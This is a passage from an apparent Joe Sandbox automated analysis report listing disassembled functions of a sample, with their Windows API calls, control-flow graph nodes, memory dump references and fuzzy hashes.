                                                                                            • Part of subcall function 004098F7: PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,00989768,00000000,?,?,?,00403DC7,?,00000000,00000000,00000000,0041702A,?), ref: 00409921
                                                                                            • Part of subcall function 004056D8: timeBeginPeriod.WINMM(00000001,00403793,00000001,?,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,00000000,00404746,00000000,00000000), ref: 004056E3
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$AllocateErrorHeapLastPathQuoteSpaces$BeginCurrentDirectoryNamedObjectPeekPeriodPipeSingleWaittimewcslen
                                                                                          • String ID: *pA$*pA
                                                                                          • API String ID: 2955313036-2893952571
                                                                                          • Opcode ID: 84abd70bc118c43edac4cdddf4176e4a5970b13bb6e4d92b3572f02cd89cd0cc
                                                                                          • Instruction ID: 17d0f5624b42dd18ceef5440812bdbba4c8a787aaabb2d2d00a5c22853b10036
                                                                                          • Opcode Fuzzy Hash: 84abd70bc118c43edac4cdddf4176e4a5970b13bb6e4d92b3572f02cd89cd0cc
                                                                                          • Instruction Fuzzy Hash: 4E41D875104205AAC600BF73DC8293F7669EFD4708F50CD3EB184361E2EA3D9D25AB6A
                                                                                          Function 00401BA0 Relevance: 4.7, APIs: 3, Instructions: 233libraryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                            • Part of subcall function 0040E660: TlsGetValue.KERNEL32(0000000D,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000,00000001,00000004,00000000,00417064), ref: 0040E677
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 00409698: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BD6,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004096B4
                                                                                            • Part of subcall function 00409698: wcscmp.MSVCRT ref: 004096C2
                                                                                            • Part of subcall function 00409698: memmove.MSVCRT(00000000,00000008,\\?\,?,?,?,00401BD6,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000), ref: 004096DA
                                                                                            • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402F8A,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                          • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040119C,004180A0,00000000), ref: 00401BDE
                                                                                          • EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BFB
                                                                                          • FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040119C,004180A0), ref: 00401C03
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$ErrorLastLibrary$AllocateEnumFileFreeHeapLoadModuleNameResourceTypesmemmovewcscmpwcslen
                                                                                          • String ID:
                                                                                          • API String ID: 983379767-0
                                                                                          • Opcode ID: 1013e86ad0ddabd5bdbaebac76a0aba0293512a478a38395633b6e37ec251e0a
                                                                                          • Instruction ID: 6d1e308804f6dc32779c3279b2fcfe03024d17212ecc119a6d6b7423f9e5f936
                                                                                          • Opcode Fuzzy Hash: 1013e86ad0ddabd5bdbaebac76a0aba0293512a478a38395633b6e37ec251e0a
                                                                                          • Instruction Fuzzy Hash: C951D7B66052007AE500BBB39D82D7F626DDBC571CB108C3FB440650E3EA3D9D616A6E
                                                                                          Function 0040B6A0 Relevance: 4.6, APIs: 3, Instructions: 102COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 848 40b6a0-40b6b4 849 40b7a7-40b7ad 848->849 850 40b6ba-40b6be 848->850 851 40b6c0-40b6e8 SetFilePointer 850->851 852 40b6eb-40b6f5 850->852 851->852 853 40b6f7-40b702 852->853 854 40b768-40b773 call 40b0c0 852->854 856 40b753-40b765 853->856 857 40b704-40b705 853->857 861 40b795-40b7a2 854->861 862 40b775-40b792 WriteFile 854->862 859 40b707-40b70a 857->859 860 40b73c-40b750 857->860 863 40b727-40b739 859->863 864 40b70c-40b70d 859->864 865 40b711-40b724 memcpy 861->865 864->865
                                                                                          APIs
                                                                                          • SetFilePointer.KERNELBASE(?,?,?,00000001), ref: 0040B6D8
                                                                                          • memcpy.MSVCRT(?,?,?,?,00000001), ref: 0040B712
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: FilePointermemcpy
                                                                                          • String ID:
                                                                                          • API String ID: 1104741977-0
                                                                                          • Opcode ID: 02d62d909d0369cf033ef3da9330b5dd6b1d06cd86180aa2b8ba7b2c57c5f325
                                                                                          • Instruction ID: c1513f54f6ae5569788c36180188ddc2abd705510cfe10eedfb0010ba837d0d9
                                                                                          • Opcode Fuzzy Hash: 02d62d909d0369cf033ef3da9330b5dd6b1d06cd86180aa2b8ba7b2c57c5f325
                                                                                          • Instruction Fuzzy Hash: DA312A3A2047019FC320DF29D844E9BB7E5EFD8714F04882EE59A97750D335E919CBAA
                                                                                          Function 0040E560 Relevance: 4.6, APIs: 3, Instructions: 53memoryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 866 40e560-40e587 TlsGetValue 867 40e5a6-40e5c5 RtlReAllocateHeap 866->867 868 40e589-40e5a4 RtlAllocateHeap 866->868 869 40e5c7-40e5ed call 40ea40 867->869 868->869
                                                                                          APIs
                                                                                          • TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                          • RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                          • RtlReAllocateHeap.NTDLL(00980000,00000000,?,?), ref: 0040E5BC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocateHeap$Value
                                                                                          • String ID:
                                                                                          • API String ID: 2497967046-0
                                                                                          • Opcode ID: 3c4de4927df5d1280fe3f97ef1b5d41f3313172c187ce59835a5c327154ebcf4
                                                                                          • Instruction ID: 56fdceb44a62e96a78129ec9cee9786d08dacee7710f0624d62ab86a2b9feb41
                                                                                          • Opcode Fuzzy Hash: 3c4de4927df5d1280fe3f97ef1b5d41f3313172c187ce59835a5c327154ebcf4
                                                                                          • Instruction Fuzzy Hash: 6011E974600208FFCB04CF99D894E9ABBB6FF88314F20C569E8099B354D734AA41DB94
                                                                                          Function 0040AD45 Relevance: 4.5, APIs: 3, Instructions: 41COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 872 40ad45-40ad52 873 40ad54-40ad86 wcsncpy wcslen 872->873 874 40adbd 872->874 876 40ad9e-40ada6 873->876 875 40adbf-40adc2 874->875 877 40ad88-40ad8f 876->877 878 40ada8-40adbb CreateDirectoryW 876->878 879 40ad91-40ad94 877->879 880 40ad9b 877->880 878->875 879->880 881 40ad96-40ad99 879->881 880->876 881->878 881->880
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateDirectorywcslenwcsncpy
                                                                                          • String ID:
                                                                                          • API String ID: 961886536-0
                                                                                          • Opcode ID: d6c445466f8a19e48a25e4a2068d10de2bbe29753fac2d082d2e760440aa5e2b
                                                                                          • Instruction ID: 2d24f661812d06aabf4acf2af4a599dd38efaf3f9e777f7594d650cf82d0c1de
                                                                                          • Opcode Fuzzy Hash: d6c445466f8a19e48a25e4a2068d10de2bbe29753fac2d082d2e760440aa5e2b
                                                                                          • Instruction Fuzzy Hash: 9A01DBB0401318D6CB65DB64CC89AFE7379DF04301F6046BBE815E25D1E7389AA4DB4A
                                                                                          Function 00408DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 882 408dee-408e26 memset InitCommonControlsEx CoInitialize
                                                                                          APIs
                                                                                          • memset.MSVCRT ref: 00408DFB
                                                                                          • InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408E15
                                                                                          • CoInitialize.OLE32(00000000), ref: 00408E1D
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CommonControlsInitInitializememset
                                                                                          • String ID:
                                                                                          • API String ID: 2179856907-0
                                                                                          • Opcode ID: d861f93e929e8b2be3fa0307ea6de5ff81dc4c61bc6e7fbf8c72a90690fa8d51
                                                                                          • Instruction ID: 955719fea0046c6293a44e32614ed026eb147d3324017d94785fb64326744d49
                                                                                          • Opcode Fuzzy Hash: d861f93e929e8b2be3fa0307ea6de5ff81dc4c61bc6e7fbf8c72a90690fa8d51
                                                                                          • Instruction Fuzzy Hash: FDE08CB088430CBBEB009BD0EC0EF8DBB7CEB00315F4041A4F904A2280EBB466488B95
                                                                                          Function 004099A5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 883 4099a5-4099aa 884 4099c4 883->884 885 4099ac-4099b2 883->885 886 4099b4 885->886 887 4099b9-4099be SetEnvironmentVariableW 885->887 886->887 887->884
                                                                                          APIs
                                                                                          • SetEnvironmentVariableW.KERNELBASE(00989768,00989768,00404594,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004099BE
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: EnvironmentVariable
                                                                                          • String ID: $0A
                                                                                          • API String ID: 1431749950-513306843
                                                                                          • Opcode ID: c92aad9fdd5c3c8ab1daeb637eb2d23f1451a042da96c25929af1641449dc86f
                                                                                          • Instruction ID: aa531fc2ff4271b490b4da26c39a2883f909eecf40e951fe565ba9eea3f0378e
                                                                                          • Opcode Fuzzy Hash: c92aad9fdd5c3c8ab1daeb637eb2d23f1451a042da96c25929af1641449dc86f
                                                                                          • Instruction Fuzzy Hash: 36C012B0204201ABD710CA04CD04B67BBE4EB50345F00C43EB184913B1C338CC40DB05
                                                                                          Function 0040B440 Relevance: 3.1, APIs: 2, Instructions: 65memoryfileCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 888 40b440-40b459 call 40db18 891 40b4ee-40b4f3 888->891 892 40b45f-40b47e CreateFileW 888->892 893 40b480-40b482 892->893 894 40b4d2-40b4d5 892->894 893->894 897 40b484-40b48b 893->897 895 40b4d7 894->895 896 40b4d9-40b4e0 call 40da8a 894->896 895->896 902 40b4e5-40b4eb 896->902 899 40b4a0 897->899 900 40b48d-40b49e HeapAlloc 897->900 901 40b4a3-40b4ca 899->901 900->901 903 40b4cc 901->903 904 40b4ce-40b4d0 901->904 903->904 904->894 904->902
                                                                                          APIs
                                                                                            • Part of subcall function 0040DB18: EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040B455,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?,00000000), ref: 0040DB23
                                                                                            • Part of subcall function 0040DB18: LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040B455,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040DB9E
                                                                                          • CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,?,00000000,00403350,00000000,00000000,00000000), ref: 0040B473
                                                                                          • HeapAlloc.KERNEL32(00000000,00001000,?,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040B495
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$AllocCreateEnterFileHeapLeave
                                                                                          • String ID:
                                                                                          • API String ID: 3705299215-0
                                                                                          • Opcode ID: 770ca6dcf0c78f014627849ec7c08e1bba775e026bf20b1c3eb2924782468709
                                                                                          • Instruction ID: 11d32f41a61cd8df30a66e4113f3bfff31ba723ad3a0b0249673477e2beeffa2
                                                                                          • Opcode Fuzzy Hash: 770ca6dcf0c78f014627849ec7c08e1bba775e026bf20b1c3eb2924782468709
                                                                                          • Instruction Fuzzy Hash: 62119371200304ABC2305F1ADC44B57BBF8EBC5764F14823EF565A37E1C77599158BA8
                                                                                          Function 0040E266 Relevance: 3.1, APIs: 2, Instructions: 61memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040E3B9: HeapFree.KERNEL32(00000000,-00000018,00000200,00000000,0040E277,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417074,004180F0,00000004), ref: 0040E3FA
                                                                                          • RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417074,004180F0,00000004,00000000,00417064), ref: 0040E296
                                                                                          • memset.MSVCRT ref: 0040E2D1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Heap$AllocateFreememset
                                                                                          • String ID:
                                                                                          • API String ID: 2774703448-0
                                                                                          • Opcode ID: e4601c40af4f90fd6d7b6dc76b08f4e14a7cbeae79d3d170558c75ed44b030ef
                                                                                          • Instruction ID: 6d5d9c53e9755405ffb3e8ab18b4b48e318f9db4ecaa07005482283559b0ef73
                                                                                          • Opcode Fuzzy Hash: e4601c40af4f90fd6d7b6dc76b08f4e14a7cbeae79d3d170558c75ed44b030ef
                                                                                          • Instruction Fuzzy Hash: 5D117F72504314ABC320DF0AD944A4BBBE8EF88710F01492EF988A7351D774ED108BA5
                                                                                          Function 0040AE39 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • SetFileAttributesW.KERNEL32(00000002,00000080,0040AE72,00989768,00000000,00401FF0,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000,00000000), ref: 0040AE50
                                                                                          • DeleteFileW.KERNELBASE(00000000,0040AE72,00989768,00000000,00401FF0,00000000,-0000012C,00402366,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 0040AE5A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$AttributesDelete
                                                                                          • String ID:
                                                                                          • API String ID: 2910425767-0
                                                                                          • Opcode ID: 856d1dee773f9fe4b81d39230ef639874c988cfb4423ff7bdc63b5e612766022
                                                                                          • Instruction ID: 9bbbf45483326d305172a49cd8f3e34a401707f8027ad8c24340846d3084d85d
                                                                                          • Opcode Fuzzy Hash: 856d1dee773f9fe4b81d39230ef639874c988cfb4423ff7bdc63b5e612766022
                                                                                          • Instruction Fuzzy Hash: 36D09E30488300BBD7555B20DD0D75B7EA16F90745F08CC79B585610F1C7788C64EB4A
                                                                                          Function 0040E4D0 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E4DC
                                                                                          • TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040E4E7
                                                                                            • Part of subcall function 0040ED40: HeapAlloc.KERNEL32(00980000,00000000,0000000C,?,?,0040E4F7,?,00401053,00000000,00001000,00000000,00000000), ref: 0040ED4E
                                                                                            • Part of subcall function 0040ED40: HeapAlloc.KERNEL32(00980000,00000000,00000010,?,?,0040E4F7,?,00401053,00000000,00001000,00000000,00000000), ref: 0040ED62
                                                                                            • Part of subcall function 0040ED40: TlsSetValue.KERNEL32(0000000D,00000000,?,?,0040E4F7,?,00401053,00000000,00001000,00000000,00000000), ref: 0040ED8B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocHeap$CreateValue
                                                                                          • String ID:
                                                                                          • API String ID: 493873155-0
                                                                                          • Opcode ID: db5b467741c0f00c93d1fd6ff26af59c18c3d1bccb059c91a176208ebbe690b4
                                                                                          • Instruction ID: 280f0189a1b64710240dfbe11500258ab370f1237584088fdcd0bc4150eb2939
                                                                                          • Opcode Fuzzy Hash: db5b467741c0f00c93d1fd6ff26af59c18c3d1bccb059c91a176208ebbe690b4
                                                                                          • Instruction Fuzzy Hash: F1D012705C83046BE7002BB2BC4A7843A78DB04751F20843AFA095B3D0DAB45480895D
                                                                                          Function 0040B050 Relevance: 2.5, APIs: 2, Instructions: 31memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,00403394,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000), ref: 0040B093
                                                                                          • CloseHandle.KERNELBASE(00000000,00000000,?,?,00403394,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040B09B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseFreeHandleHeap
                                                                                          • String ID:
                                                                                          • API String ID: 1642312469-0
                                                                                          • Opcode ID: bcdd82019f876fc489b22f42e5959096ccfe265fa7cf8be21467e7666472b7d6
                                                                                          • Instruction ID: 7abf06afc9ef833db34d05f69b67e4dbbe1385027aa9b24abf0250c41048a97e
                                                                                          • Opcode Fuzzy Hash: bcdd82019f876fc489b22f42e5959096ccfe265fa7cf8be21467e7666472b7d6
                                                                                          • Instruction Fuzzy Hash: 1AF08C32505110ABC6322B6AEC09E8BBA72EF81724F148A3FF125314F4CB794850DF9C
                                                                                          Function 00402BA6 Relevance: 1.6, APIs: 1, Instructions: 52COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040E660: TlsGetValue.KERNEL32(0000000D,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000,00000001,00000004,00000000,00417064), ref: 0040E677
                                                                                            • Part of subcall function 0040A220: RtlAllocateHeap.NTDLL(00000008,00000000,00402EAC,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,004044FA,00000000,00000000,00000000), ref: 0040A231
                                                                                          • GetShortPathNameW.KERNEL32(00989768,00989768,00002710), ref: 00402BE0
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                            • Part of subcall function 0040A200: HeapFree.KERNEL32(00000000,00000000,00401B7C,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,?,00000000,?,00000000,00000000), ref: 0040A20C
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                            • Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402F99,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178
                                                                                            • Part of subcall function 0040E5F0: HeapFree.KERNEL32(00980000,00000000,00000000,?,00000000,?,00412484,00000000,00000000,-00000008), ref: 0040E608
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: HeapValue$AllocateErrorFreeLast$NamePathShortwcslen
                                                                                          • String ID:
                                                                                          • API String ID: 192546213-0
